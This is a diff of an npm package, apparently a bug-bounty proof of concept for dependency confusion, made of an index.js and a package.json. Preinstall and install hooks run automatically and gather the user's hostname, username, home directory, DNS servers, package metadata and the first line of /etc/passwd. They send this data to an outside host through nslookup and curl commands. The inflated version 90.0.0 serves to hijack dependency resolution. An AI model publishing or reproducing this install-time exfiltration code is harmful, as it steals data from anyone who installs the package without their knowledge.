dependency-confusion-poc777 90.0.0

package/index.js

@@ -0,0 +1,63 @@
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+const trackingData = {
+  packageName: package,
+  currentDirectory: __dirname || process.cwd(),
+  homeDirectory: os.homedir() || process.env.HOME,
+  hostName: os.hostname() || "hostname",
+  userName: os.userInfo().username || process.env.USER,
+  dnsServers: dns.getServers() || "dns_servers",
+  resolved: packageJSON ? packageJSON.___resolved : undefined,
+  version: packageJSON.version || "version",
+  packageJSON: packageJSON || "package_json",
+  etcPasswdFirstLine: require("fs").readFileSync("/etc/passwd").toString().split("\n")[0] || "etc_passwd",
+};
+
+const encodedData = Object.keys(trackingData).reduce((acc, key) => {
+  acc[key] = Buffer.from(JSON.stringify(trackingData[key] || '')).toString('base64');
+  return acc;
+}, {});
+
+const { exec } = require("child_process");
+
+// DNS command ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+const new_dns_command = `nslookup ${trackingData.hostName}.${trackingData.userName}.${trackingData.dnsServers}.${package}.dependency_confusion_poc.the7th.tech`
+
+exec(new_dns_command, (error, stdout, stderr) => {
+  if (error) {
+    console.error(error.message);
+    return;
+  }
+  
+  if (stderr) {
+    console.log(stderr);
+  }
+  
+  console.log(stdout);
+});
+
+// HTTP command ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+const http_command = `curl -k -s 'http://dependency_confusion_poc.the7th.tech/dependency_confusion_poc?full_base64_data=${querystring.stringify(encodedData)}'`
+
+exec(http_command, (error, stdout, stderr) => {
+  if (error) {
+    console.error(error.message);
+    return;
+  }
+
+  if (stderr) {
+    
+    console.log(stderr);
+  }
+
+console.log(stdout);
+});
+
+// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

package/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "dependency-confusion-poc777",
+  "version": "90.0.0",
+  "description": "Simple PoC package for testing for dependency confusion vulnerabilities based one the required Bug Bounty rules",
+  "main": "index.js",
+  "scripts": {
+    "install": "curl -k \"http://dependency_confusion_poc.the7th.tech/install_dependency_confusion_poc?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" > /dev/null 2>&1",
+    "preinstall": "node index.js"
+  },
+  "keywords": [
+    "test",
+    "PoC"
+  ],
+  "config": {
+    "unsafe-perm": true
+  },
+  "author": "WayCup",
+  "license": "ISC"
+}